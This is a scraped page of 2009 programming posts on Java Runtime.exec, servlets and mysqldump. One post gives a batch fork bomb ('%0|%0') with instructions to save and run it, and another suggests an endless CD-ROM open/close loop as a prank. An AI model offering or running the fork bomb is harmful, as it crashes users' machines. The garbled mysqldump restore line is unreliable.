Fetch1.com » Programming

Running system command through Java

fetch1 — Wed, 16 Sep 2009 16:20:41 +0000

Running system commands through Java

Try the below code (for Linux OS) & you’ll get the listing of files & folders from current directory

If you want to open & close CD rom infinitely,
Just replace ‘ls’ command with the cd ROM opening cmd
Also for CD ROM closing …. Enclose them in infinite loop … thats all……

(You have to maintain a boolean flag for open & close)

try {

Process p = Runtime.getRuntime().exec(“ls”); //Line to talk with H/W

BufferedReader stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));

BufferedReader stdError = new BufferedReader(new
InputStreamReader(p.getErrorStream()));

// read the output from the command

System.out.println(“Here is the standard output of the command:\n”);
while ((s = stdInput.readLine()) != null) {
System.out.println(s);
}

// read any errors from the attempted command

System.out.print(“Here is the standard error of the command (if any): “);
while ((s = stdError.readLine()) != null) {
System.out.println(s);
}

System.exit(0);
}
catch (IOException e) {}

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why servlets are server Extensions ?

fetch1 — Tue, 15 Sep 2009 20:58:30 +0000

It is because you write your own code to handle the HTTP request and send response accordingly, which server makes use of as per the need.

It is because with the help of servlet you can extend the capability of server. Not just Http capability but with your own implementation you can make server to serve different protocol requests too. One fundamental thing we must note here is Servlet is a specification that defines the abilities of a web application on webserver.

servlet are basically the server side programs. whenever we send a request from our browser it is then sent to the web server which finds the corresponding page (html,jpeg etc.). However the web server are meant moreover for the static content i.e. if the content is available in the server then it will sent back.

In the Case of Servlets the web server maps the request to the servlet which has some logic.

web server is not just for static content, it can serve dynamic content using web components like servlet, jsp

Server Extention

They are called Simply Server Extention Because using them U can Extend the server ie u can extend the server functionality.
A web server has limited functionality
as it can’t do atleast two tasks
1) Cannot add somethng to database
2) Cannot generate on-demand/on-the fly/dynamic web pages.
Servets perform these tasks ( and much more also) that is why they are commonly called Server Extentions.

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How to store sql query result into excel file?

fetch1 — Tue, 15 Sep 2009 20:49:06 +0000

if reports are to be exported then, API Apache POI will work out else you can also do the same thing with the query for backup and dumps

for example

if you are using mysql
you can use

1.) mysqldump –tab=/path/to/some/dir –opt database_name

2.) mysqldump –add-drop-table -u admin -p pass21 Customers < custback.sql

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World’s Most smallest Batch Virus

fetch1 — Mon, 17 Aug 2009 20:15:52 +0000

This is the smallest batch virus only of 5 letters in length

%0|%0

save this as bat file n run it

you cannot successfully exit this program….

Explanation

%0 gives the location of bat file which is running it including the filename
this program will create two instance of itself and each instance will again creates another two and it continues recursively. This is equivalent (not exactly) to executing a piece of code in an infinite loop( while(1){ //code } )

the operator ‘|’ is called as the redirection operator(pipe operator)..this pipe operator sends one programs output to another programs input

%0 gives the fullpath to the batchfile in which it is coded. i.e. if you have saved the above code as abc.bat in C:\ drive.. then %0 will give the output as ‘C:\abc.bat